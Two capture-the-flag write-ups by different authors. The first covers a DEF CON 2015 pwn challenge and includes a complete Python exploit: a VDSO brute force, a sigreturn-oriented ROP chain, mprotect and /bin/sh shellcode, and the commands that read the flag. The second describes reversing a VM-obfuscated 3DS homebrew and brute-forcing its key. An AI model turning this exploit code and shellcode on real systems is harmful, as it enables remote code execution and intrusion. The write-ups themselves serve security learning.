DEF CON CTF 2015 - fuckup (pwn3) Writeup

Description

fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:2000
OR
fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:46387
Download

Introduction

This is a PoC service for the new and improved ASLR, “Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization”(F.U.C.K.U.P. for short).
Each time an user executes a command, F.U.C.K.U.P. changes the base address of memory where the binary is mapped according to a random number produced by the generation algorithm similar to WELL512.

We can select from the following commands:

  1. Quit: simply return 0;.
  2. Display info: Display an introduction. Nothing interesting.
  3. Change random: Generate a random value and move mappings correspondingly.
  4. View state info: Show the current random value and then change the value as same as “Change random”.
  5. Test stack smash: Cause stack based buffer overflow by 100 bytes against a 10-byte buffer.

Actually, I don’t know the detailed implementations of these commands except for “Test stack smash”, for it was not I but another team member who coped with this challenge at first.
It seems that the author’s intended solution is to use SMT solver like z3 to predict random values generated, and my teammate attempted to do that.
It, however, didn’t work correctly since we were unfamiliar with and poor at using SMT solver.
So I decided to try to solve this problem by the really “pwnwise” solution.

First, I suspected Partial Overwrite could be used.
Yes, actually it can be.
Reading stack_smash(sub_8048521), there is called read_n(sub_8048363) which simply receives input as this:

1
2
3
4
5
sum = 0;
do {
nread = read(0, addr, n-sum);
if (nread != -1) sum += nread;
} while (sum < n);

As you may see, this implementation is weird because using read(0, addr, n-sum) instead of read(0, addr+sum, n-sum).
Therefore, it is possible to do Partial Overwrite by splitting input into several.
@wapiflapi, a great hacker in France shares the exploit using this method(http://hastebin.com/iyinepaxen.py).
Very simple, isn’t it?

BUT I COULD NOT COME UP WITH IT.
Because I misread read_n as read(0, addr+sum, n-sum).
So at that time I thought “Wow, nice security. I have no choice but to overwrite a buffer completely by 100 bytes. If I can’t use Partial Overwrite, then how can I solve this…?”. Too stupid.
Okay, let me explain how I solved this problem even though I couldn’t use z3 and Partial Overwrite.

Solution

Thinking that the return address is always overwritten by a buffer overflow, I had to overwrite it with some valid address.
Here, valid address means a address being mapped and executable.
So there are two possible ways to exploit the binary:

  1. Fix valid addresses somehow.
  2. Use the addresses which are always fixed.

I thought the former could be realized because the number of mapped addresses goes on increasing by change_mapping(sub_80481A6).
In change_mapping, mmap is called like this:

1
2
3
4
5
6
7
do
{
seedf = randf(state) * 4294967295.0;
seedl = (int)seedf;
expect = (void *)(seedl & 0xFFFFF000);
actual = mmap(expect, 0x7000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
} while (expect != actual);

As you can see, the mapped addresses won’t be unmapped even if it fails to establish mappings at expected addresses.
Therefore, the more the number of mapped addresses has increased, the less the number of the possible addresses capable of being becomes.
But this approach isn’t realistic because it needs to do “Change random” many times(about thouthands or hundreds of thouthands times).

The latter, actually, can be realized: using VDSO.
I think everyone knows this, but VDSO ASLR is weaker than ASLR on the other sections(that entropy is usually only 2 bytes) and there is a famous exploit method, Sigreturn Oriented Programming(SROP).
That means we can solve this problem by doing brute force 256 times.
It was a little bit difficult for me to write the exploit due to the limitation that I had to do ROP only with gadgets on VDSO and that I was allowed to use only 78 bytes for ROP.
Why stack_addr = vdso - 0x800 does work correctly is described in my paper.
sysenter is a good gadget for stack pivotting!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import subprocess
import socket
import re
import sys
import random
from struct import pack, unpack
from Frame import SigreturnFrame
from time import sleep
from sys import argv
TARGET = ('localhost', 6666)
if len(argv) > 1:
TARGET = ('fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me', 2000)
OFFSET_SR = 0x401
OFFSET_SC = 0x42e
OFFSET_SY = 0x425
OFFSET_POP = 0x431
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x54\x59\x50\x5a\x6a\x0b\x58\xcd\x80"
RANGE_VDSO = range(0xf7700000, 0xf7800000, 0x1000)
def recv_until(sock, pat):
buf = b''
while buf.find(pat) == -1:
buf += sock.recv(1)
return buf
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(TARGET)
vdso = random.choice(RANGE_VDSO)
stack_addr = vdso - 0x800
shellcode_addr = vdso - 0x1000
print "vdso:", hex(vdso)
data = b'\x00' * (0x16)
data += pack('<I', vdso + OFFSET_POP) # pop edx, ecx
data += pack("<I", 2304) # edx
data += pack("<I", shellcode_addr) # ecx
data += pack('<I', vdso + OFFSET_SC) # read(eax=3)
data += pack("<I", stack_addr)
data += pack("<I", stack_addr)
data += pack("<I", stack_addr)
data += pack('<I', vdso + OFFSET_SY) # sysenter
print "data:", len(data)
data = data.ljust(100, 'A')
assert(len(data) == 100)
recv_until(sock, b'0. Quit')
sock.sendall(b'4\n')
recv_until(sock, b'stop code execution')
sock.sendall(data[:-3])
sock.sendall("")
sleep(1)
sock.sendall(data[-3:]) # eax = 3
stack = ""
stack += pack("<I", 0xdeadbeef) * 3
stack += pack("<I", vdso + OFFSET_SR)
frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", 0x7d) # mprotect
frame.set_regvalue("ebx", shellcode_addr) # addr
frame.set_regvalue("ecx", 0x1000) # len
frame.set_regvalue("edx", 7) # prot
frame.set_regvalue("eip", vdso + OFFSET_SC)
frame.set_regvalue("esp", stack_addr+0x80)
frame.set_regvalue("ds", 0x2b)
frame.set_regvalue("es", 0x2b)
stack += frame.get_frame()
stack += pack("<I", shellcode_addr) * 40
sleep(1)
payload = SHELLCODE
payload = payload.ljust(0x800, "\x90")
payload += stack
print "payload:", len(payload)
assert(len(payload) <= 0x1000)
sleep(1)
sock.sendall(payload)
sleep(0.1)
sock.sendall("ls\n")
sock.sendall("ls /home\n")
sock.sendall("ls /home/fuckup\n")
sock.sendall("ls /home/fuckup/flag\n")
sock.sendall("ls /home/fuckup/*flag*\n")
sock.sendall("cat /home/fuckup/*flag*\n")
sleep(1)
resp = ""
resp += sock.recv(65535)
if resp == '' or resp == '\n':
raise Exception("Failed")
print [resp]
raw_input()
if __name__ == '__main__':
i = 1
while True:
print "\nTry {}:".format(i)
try:
main()
except Exception as e:
print e
pass
i += 1

Using Frame.py.

1
['\nbin\nboot\ndev\netc\nhome\ninitrd.img\ninitrd.img.old\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nvmlinuz\nvmlinuz.old\nfuckup\nubuntu\nflag\nfuckup\n/home/fuckup/flag\n/home/fuckup/flag\nThe flag is: z3 always helps\n']

Summary

Sleep enough not to misread disas.

written by hugeh0ge(@hugeh0ge)

Boston Key Party CTF 2015 - Oak Grove (rev300) Writeup

This crappy 3ds homebrew is protected by some anti-piracy scheme. Can you crack it? : 300
http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD

The binary is a 3DS homebrew for NINJHAX and is in 3DSX format. After several minutes of googling, we found out that there is no IDA Loader for 3DSX at the moment of BKP. We wrote simple IDA Loader for 3DSX and analyzed the binary using IDA. (We don’t publish the loader because another player published a better one after the BKP :) https://github.com/0xEBFE/3DSX-IDA-PRO-Loader)

The homebrew is obfuscated by the virtual machine. This virtual machine is slightly buggy (missing break in a switch case, pop on an empty stack). Manual analysis found that the VM code reads 16 bytes from a file ‘SHiT’ and compares the contents char by char with embedded values. The VM code increments a counter (dword_33BC0) as characters match the embedded values. If the counter is 100 at the end of VM code, the homebrew outputs ‘Winner, please submit your flag!’.

As reverse-engineering of the whole obfuscated VM code seemed to be troublesome and easy to mistake, we implemented the same virtual machine in Python and did bruteforce for SHiT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python3
import sys
import string
FLAGLEN = 16
CHARS = bytes(string.printable, 'ascii')
CODE = b''
with open('3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD', 'rb') as f:
f.seek(0x2abd4)
CODE = f.read(0x1d0)
class VirtualMachine(object):
def __init__(self, code, flag):
self.dword_33BC0 = self.R7 = self.ip = 0
self.stack = []
self.flag = flag
self.code = code
def getb(self):
val = self.code[self.ip]
self.ip += 1
return val
def jmp(self, n):
self.ip += n
def push(self, val):
self.stack.append(val)
def pop(self):
try:
return self.stack.pop()
except IndexError:
self.log('empty pop')
return 0
def log(self, msg):
#print('[*] %04x: %s' % (self.ip, msg), file=sys.stderr)
pass
def inst11(self):
arg1 = self.getb()
if self.R7 == 0:
self.jmp(arg1)
self.inst57()
def inst57(self):
arg1 = self.getb()
self.push((self.pop() ^ arg1) & 0xff)
def inst48(self):
filename = ''
ch = -1
while ch != 0:
ch = self.pop()
filename += chr(ch)
self.log('fopen("%s", "r")' % filename)
def inst51(self):
self.log('exit(0)')
raise Exception('exit')
def inst17(self):
self.pop()
def inst40(self):
self.log('getchar()')
self.push(self.flag.pop())
def inst0(self):
self.log('unk_0')
# Not Implemented
def inst52(self):
arg1 = self.getb()
self.push((self.pop() - arg1) & 0xff)
def inst49(self):
arg1 = self.getb()
self.push(arg1)
def inst27(self):
self.push(0)
def inst20(self):
self.push(len(self.stack))
def inst59(self):
v1 = self.pop()
v2 = self.pop()
self.push(v1)
self.push(v2)
def inst24(self):
self.dword_33BC0 += 1
def inst46(self, ):
self.push((self.pop() * arg1) & 0xff)
def inst43(self, ):
arg1 = self.getb()
if self.R7 != 0:
self.jmp(arg1)
self.R7 = 1
def inst42(self):
self.push((self.pop() + 1) & 0xff)
def inst38(self):
self.push(0)
def inst37(self):
self.push((self.pop() - 1) & 0xff)
def inst36(self):
self.log('cmp')
arg1 = self.getb()
val = self.pop()
self.R7 = 1 if val == arg1 else 0
def inst34(self):
arg1 = self.getb()
self.push((self.pop() + arg1) & 0xff)
def run(self):
instdict = {
11:self.inst11,
57:self.inst57,
48:self.inst48,
51:self.inst51,
17:self.inst17,
56:self.inst17, # same
40:self.inst40,
0:self.inst0,
52:self.inst52,
49:self.inst49,
27:self.inst27,
20:self.inst20,
59:self.inst59,
24:self.inst24,
46:self.inst46,
43:self.inst43,
42:self.inst42,
38:self.inst38,
37:self.inst37,
36:self.inst36,
34:self.inst34,
}
while self.ip < len(self.code):
inst = self.getb() - 0x3f
if inst not in instdict:
self.log('Undefined instruction')
continue
try:
instdict[inst]()
except Exception as e:
if e.args[0] == 'exit':
break
else:
raise e
return self.dword_33BC0
def _bruteforce_flag(flag):
cntdict = {}
for i in (i for i, v in enumerate(flag) if v == 0):
for ch in CHARS:
flagcand = flag[::]
flagcand[i] = ch
vm = VirtualMachine(CODE, flagcand[::])
cntdict[tuple(flagcand)] = vm.run()
return cntdict
def bruteforce_flag(flag, prevcnt):
cntdict = _bruteforce_flag(flag)
for k in (k for k in cntdict if cntdict[k] > prevcnt):
cnt = cntdict[k]
if cnt == 100:
print(bytes(k).decode('ascii')[::-1])
quit()
else:
bruteforce_flag(list(k), cnt)
def main():
flag = [0] * FLAGLEN
bruteforce_flag(flag, 0)
if __name__ == '__main__':
main()
1
2
3
4
% time ./bruteforce.py
r_u_t34m_g473w4y
./bruteforce.py 6.02s user 0.00s system 99% cpu 6.021 total
%

written by op(@6f70)